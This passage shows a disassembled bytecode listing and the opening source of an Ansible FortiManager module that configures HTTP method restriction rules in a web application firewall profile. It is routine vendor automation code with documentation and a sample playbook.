description: Status.\n choices:\n - \'disable\'\n - \'enable\'\n\n' STORE_NAME DOCUMENTATION LOAD_CONST '\n- hosts: fortimanager-inventory\n collections:\n - fortinet.fortimanager\n connection: httpapi\n vars:\n ansible_httpapi_use_ssl: True\n ansible_httpapi_validate_certs: False\n ansible_httpapi_port: 443\n tasks:\n - name: Method restriction.\n fmgr_waf_profile_method:\n bypass_validation: False\n workspace_locking_adom: <value in [global, custom adom including root]>\n workspace_locking_timeout: 300\n rc_succeeded: [0, -2, -3, ...]\n rc_failed: [-2, -3, ...]\n adom: <your own value>\n profile: <your own value>\n waf_profile_method:\n default-allowed-methods:\n - delete\n - get\n - head\n - options\n - post\n - put\n - trace\n - others\n - connect\n log: <value in [disable, enable]>\n method-policy:\n -\n address: <string>\n allowed-methods:\n - delete\n - get\n - head\n - options\n - post\n - put\n - trace\n - others\n - connect\n id: <integer>\n pattern: <string>\n regex: <value in [disable, enable]>\n severity: <value in [low, medium, high]>\n status: <value in [disable, enable]>\n\n' STORE_NAME EXAMPLES LOAD_CONST '\nmeta:\n description: The result of the request.\n type: dict\n returned: always\n contains:\n request_url:\n description: The full url requested.\n returned: always\n type: str\n sample: /sys/login/user\n response_code:\n description: The status of api request.\n returned: always\n type: int\n sample: 0\n response_data:\n description: The api response.\n type: list\n returned: always\n response_message:\n description: The descriptive message of the api response.\n type: str\n returned: always\n sample: OK.\n system_information:\n description: The information of the target system.\n type: dict\n returned: always\nrc:\n description: The status the request.\n type: int\n returned: always\n sample: 0\nversion_check_warning:\n description: Warning if the parameters used in the playbook are not supported by the current FortiManager version.\n type: list\n returned: complex\n' STORE_NAME RETURN LOAD_CONST 0 LOAD_CONST ('AnsibleModule',) IMPORT_NAME ansible.module_utils.basic IMPORT_FROM AnsibleModule STORE_NAME AnsibleModule POP_TOP LOAD_CONST 0 LOAD_CONST ('Connection',) IMPORT_NAME ansible.module_utils.connection IMPORT_FROM Connection STORE_NAME Connection POP_TOP LOAD_CONST 0 LOAD_CONST ('NAPIManager',) IMPORT_NAME ansible_collections.fortinet.fortimanager.plugins.module_utils.napi IMPORT_FROM NAPIManager STORE_NAME NAPIManager POP_TOP LOAD_CONST 0 LOAD_CONST ('check_galaxy_version',) IMPORT_NAME ansible_collections.fortinet.fortimanager.plugins.module_utils.napi IMPORT_FROM check_galaxy_version STORE_NAME check_galaxy_version POP_TOP LOAD_CONST 0 LOAD_CONST ('check_parameter_bypass',) IMPORT_NAME ansible_collections.fortinet.fortimanager.plugins.module_utils.napi IMPORT_FROM check_parameter_bypass STORE_NAME check_parameter_bypass POP_TOP LOAD_CONST <code object main at 0x7f8af0c36ae0, file "f.py", line 269> LOAD_CONST 'main' MAKE_FUNCTION STORE_NAME main LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_NAME main CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '/pm/config/adom/{adom}/obj/waf/profile/{profile}/method' LOAD_CONST '/pm/config/global/obj/waf/profile/{profile}/method' BUILD_LIST STORE_FAST jrpc_urls LOAD_CONST '/pm/config/adom/{adom}/obj/waf/profile/{profile}/method/{method}' LOAD_CONST '/pm/config/global/obj/waf/profile/{profile}/method/{method}' BUILD_LIST STORE_FAST perobject_jrpc_urls LOAD_CONST 'adom' LOAD_CONST 'profile' BUILD_LIST STORE_FAST url_params LOAD_CONST None STORE_FAST module_primary_key LOAD_CONST 'str' LOAD_CONST False LOAD_CONST True LOAD_CONST ('type', 'required', 'no_log') BUILD_CONST_KEY_MAP LOAD_CONST 'bool' LOAD_CONST False LOAD_CONST False LOAD_CONST ('type', 'required', 'default') BUILD_CONST_KEY_MAP LOAD_CONST 'bool' LOAD_CONST False LOAD_CONST False LOAD_CONST ('type', 'required', 'default') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST False LOAD_CONST True LOAD_CONST ('type', 'required', 'no_log') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST False LOAD_CONST 'set' LOAD_CONST 'update' LOAD_CONST 'add' BUILD_LIST LOAD_CONST ('type', 'required', 'choices') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'list' LOAD_CONST 'int' LOAD_CONST ('required', 'type', 'elements') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'list' LOAD_CONST 'int' LOAD_CONST ('required', 'type', 'elements') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST False LOAD_CONST ('type', 'required') BUILD_CONST_KEY_MAP LOAD_CONST 'int' LOAD_CONST False LOAD_CONST 300 LOAD_CONST ('type', 'required', 'default') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST 'str' LOAD_CONST ('required', 'type') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST 'str' LOAD_CONST ('required', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'dict' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'list' LOAD_CONST 'delete' LOAD_CONST 'get' LOAD_CONST 'head' LOAD_CONST 'options' LOAD_CONST 'post' LOAD_CONST 'put' LOAD_CONST 'trace' LOAD_CONST 'others' LOAD_CONST 'connect' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type', 'choices', 'elements') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'disable' LOAD_CONST 'enable' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'list' LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'list' LOAD_CONST 'delete' LOAD_CONST 'get' LOAD_CONST 'head' LOAD_CONST 'options' LOAD_CONST 'post' LOAD_CONST 'put' LOAD_CONST 'trace' LOAD_CONST 'others' LOAD_CONST 'connect' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type', 'choices', 'elements') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'int' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'disable' LOAD_CONST 'enable' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('address', 'allowed-methods', 'id', 'pattern', 'regex') BUILD_CONST_KEY_MAP LOAD_CONST 'dict' LOAD_CONST ('required', 'revision', 'type', 'options', 'elements') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'low' LOAD_CONST 'medium' LOAD_CONST 'high' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'disable' LOAD_CONST 'enable' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('default-allowed-methods', 'log', 'method-policy', 'severity', 'status') BUILD_CONST_KEY_MAP LOAD_CONST ('required', 'type', 'revision', 'options') BUILD_CONST_KEY_MAP LOAD_CONST ('access_token', 'bypass_validation', 'enable_log', 'forticloud_access_token', 'proposed_method', 'rc_succeeded', 'rc_failed', 'workspace_locking_adom', 'workspace_locking_timeout', 'adom', 'profile', 'waf_profile_method') BUILD_CONST_KEY_MAP STORE_FAST module_arg_spec BUILD_LIST STORE_FAST params_validation_blob LOAD_GLOBAL check_galaxy_version LOAD_FAST module_arg_spec CALL_FUNCTION POP_TOP LOAD_GLOBAL AnsibleModule LOAD_GLOBAL check_parameter_bypass LOAD_FAST module_arg_spec LOAD_CONST 'waf_profile_method' CALL_FUNCTION LOAD_CONST False LOAD_CONST ('argument_spec', 'supports_check_mode') CALL_FUNCTION STORE_FAST module LOAD_CONST None STORE_FAST fmgr LOAD_FAST module LOAD_ATTR _socket_path EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL Connection LOAD_FAST module LOAD_ATTR _socket_path CALL_FUNCTION STORE_FAST connection LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'access_token' LOAD_CONST 'access_token' LOAD_FAST module LOAD_ATTR params COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'access_token' BINARY_SUBSCR JUMP_FORWARD to 1428 LOAD_CONST None CALL_METHOD POP_TOP LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'enable_log' LOAD_CONST 'enable_log' LOAD_FAST module LOAD_ATTR params COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enable_log' BINARY_SUBSCR JUMP_FORWARD to 1462 LOAD_CONST False CALL_METHOD POP_TOP LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'forticloud_access_token' LOAD_CONST 'forticloud_access_token' LOAD_FAST module LOAD_ATTR params COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'forticloud_access_token' BINARY_SUBSCR JUMP_FORWARD to 1496 LOAD_CONST None CALL_METHOD POP_TOP LOAD_GLOBAL NAPIManager LOAD_FAST jrpc_urls LOAD_FAST perobject_jrpc_urls LOAD_FAST module_primary_key LOAD_FAST url_params LOAD_FAST module LOAD_FAST connection LOAD_CONST 'data' LOAD_CONST ('top_level_schema_name',) CALL_FUNCTION STORE_FAST fmgr LOAD_FAST fmgr LOAD_METHOD validate_parameters LOAD_FAST params_validation_blob CALL_METHOD POP_TOP LOAD_FAST fmgr LOAD_ATTR process_partial_curd LOAD_FAST module_arg_spec LOAD_CONST ('argument_specs',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 1558 LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'MUST RUN IN HTTPAPI MODE' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST module LOAD_ATTR params LOAD_CONST ('meta',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "status": ["preview"], "supported_by": "community", "metadata_version": "1.1", } DOCUMENTATION = """ --- module: fmgr_waf_profile_method short_description: Method restriction. description: - This module is able to configure a FortiManager device. - Examples include all parameters and values which need to be adjusted to data sources before usage. version_added: "2.0.0" author: - Xinwei Du (@dux-fortinet) - Xing Li (@lix-fortinet) - Jie Xue (@JieX19) - Link Zheng (@chillancezen) - Frank Shen (@fshen01) - Hongbin Lu (@fgtdev-hblu) notes: - Running in workspace locking mode is supported in this FortiManager module, the top level parameters workspace_locking_adom and workspace_locking_timeout help do the work. - To create or update an object, use state present directive. - To delete an object, use state absent directive. - Normally, running one module can fail when a non-zero rc is returned. you can also override the conditions to fail or succeed with parameters rc_failed and rc_succeeded options: access_token: description: The token to access FortiManager without using username and password. required: false type: str bypass_validation: description: Only set to True when module schema diffs with FortiManager API structure, module continues to execute without validating parameters. required: false type: bool default: false enable_log: description: Enable/Disable logging for task. required: false type: bool default: false forticloud_access_token: description: Authenticate Ansible client with forticloud API access token. required: false type: str proposed_method: description: The overridden method for the underlying Json RPC request. required: false type: str choices: - update - set - add rc_succeeded: description: The rc codes list with which the conditions to succeed will be overriden. type: list required: false elements: int rc_failed: description: The rc codes list with which the conditions to fail will be overriden. type: list required: false elements: int workspace_locking_adom: description: The adom to lock for FortiManager running in workspace mode, the value can be global and others including root. required: false type: str workspace_locking_timeout: description: The maximum time in seconds to wait for other user to release the workspace lock. required: false type: int default: 300 adom: description: the parameter (adom) in requested url type: str required: true profile: description: the parameter (profile) in requested url type: str required: true waf_profile_method: description: the top level parameters set required: false type: dict suboptions: default-allowed-methods: type: list elements: str description: no description choices: - 'delete' - 'get' - 'head' - 'options' - 'post' - 'put' - 'trace' - 'others' - 'connect' log: type: str description: Enable/disable logging. choices: - 'disable' - 'enable' method-policy: type: list elements: dict description: no description suboptions: address: type: str description: Host address. allowed-methods: type: list elements: str description: no description choices: - 'delete' - 'get' - 'head' - 'options' - 'post' - 'put' - 'trace' - 'others' - 'connect' id: type: int description: HTTP method policy ID. pattern: type: str description: URL pattern. regex: type: str description: Enable/disable regular expression based pattern match. choices: - 'disable' - 'enable' severity: type: str description: Severity. choices: - 'low' - 'medium' - 'high' status: type: str description: Status. choices: - 'disable' - 'enable' """ EXAMPLES = """ - hosts: fortimanager-inventory collections: - fortinet.fortimanager connection: httpapi vars: ansible_httpapi_use_ssl: True ansible_httpapi_validate_certs: False ansible_httpapi_port: 443 tasks: - name: Method restriction. fmgr_waf_profile_method: bypass_validation: False workspace_locking_adom: <value in [global, custom adom including root]> workspace_locking_timeout: 300 rc_succeeded: [0, -2, -3, ...] rc_failed: [-2, -3, ...] adom: <your own value> profile: <your own value> waf_profile_method: default-allowed-methods: - delete - get - head - options - post - put - trace - others - connect log: <value in [disable, enable]> method-policy: - address: <string> allowed-methods: - delete - get - head - options - post - put - trace - others - connect id: <integer> pattern: <string> regex: <value in [disable, enable]> severity: <value in [low, medium, high]> status: <value in [disable, enable]> """ RETURN = """ meta: description: The result of the request. type: dict returned: always contains: request_url: description: The full url requested. returned: always type: str sample: 